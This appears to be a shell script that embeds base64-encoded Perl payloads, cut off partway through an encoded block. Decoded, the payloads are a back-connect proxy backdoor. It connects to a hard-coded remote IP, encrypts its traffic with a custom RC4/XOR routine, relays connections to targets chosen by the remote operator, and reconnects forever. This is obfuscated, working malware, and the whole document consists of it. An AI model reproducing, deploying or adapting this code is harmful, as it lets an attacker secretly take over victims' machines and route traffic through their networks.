IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_24() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 